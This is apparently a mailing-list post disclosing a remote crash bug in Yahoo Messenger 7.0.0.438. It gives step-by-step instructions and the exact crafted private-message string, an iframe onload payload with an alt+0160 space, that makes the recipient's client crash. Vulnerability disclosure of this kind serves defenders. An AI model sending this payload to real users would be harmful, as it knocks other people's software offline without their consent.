Re: Yahoo Messenger 7.0.0.438 Crash Tested

[email protected]
Newsgroups gmane.comp.security.vulnerabilities
Message-ID <[email protected]> 
Remote crash proof of concept:
1. Open messenger and log it.
2. Open a yahoo chat third party like yahelite through Ymsgr protocol and log it with another account.
3. Send a Pm to the messenger account with this string: "s: msg :---------------------------------------------iframe onload=$InlineAction()>:)" (without quotes)
4. The remote user will crash closing down her messenger.
Note: "msg :" this space must be created with alt+0160.
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.